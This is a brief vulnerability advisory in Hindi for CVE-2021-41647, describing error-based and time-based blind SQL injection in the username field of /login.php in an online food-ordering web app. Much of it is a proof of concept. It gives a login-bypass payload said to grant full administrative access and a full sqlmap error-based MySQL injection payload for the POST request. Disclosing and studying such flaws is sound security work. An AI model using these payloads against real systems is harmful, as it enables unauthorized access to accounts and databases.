CVE-2021-41647

CVE-2021-41647 SQL इंजेक्शन Online-Food-Ordering-Web-App में

Online-Food-Ordering-Web-App, अप्रमाणित त्रुटि और समय-आधारित ब्लाइंड SQL इंजेक्शन हमलों के लिए असुरक्षित है। /login.php पेज पर username पैरामीटर उपयोगकर्ता इनपुट को सैनिटाइज़ नहीं करता है, एक हमलावर एक सरल बायपास तकनीक का उपयोग करके लॉगिन को बायपास कर सकता है।

एप्लिकेशन का लिंक

Online-Food-Ordering-Web-App

प्रभावित घटक और पैरामीटर

URL: /login.php
पैरामीटर: username

POC

लॉगिन बायपास पेलोड

उपयोगकर्ता लॉगिन को बायपास करने और पूर्ण प्रशासनिक पहुँच प्राप्त करने के लिए, username इनपुट फ़ील्ड में पेलोड: user' or 1=1-- -

SQLMAP पेलोड

पैरामीटर: username (POST अनुरोध) प्रकार: त्रुटि-आधारित शीर्षक: MySQL >= 5.0 AND त्रुटि-आधारित - WHERE, HAVING, ORDER BY या GROUP BY क्लॉज़ (FLOOR) पेलोड: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf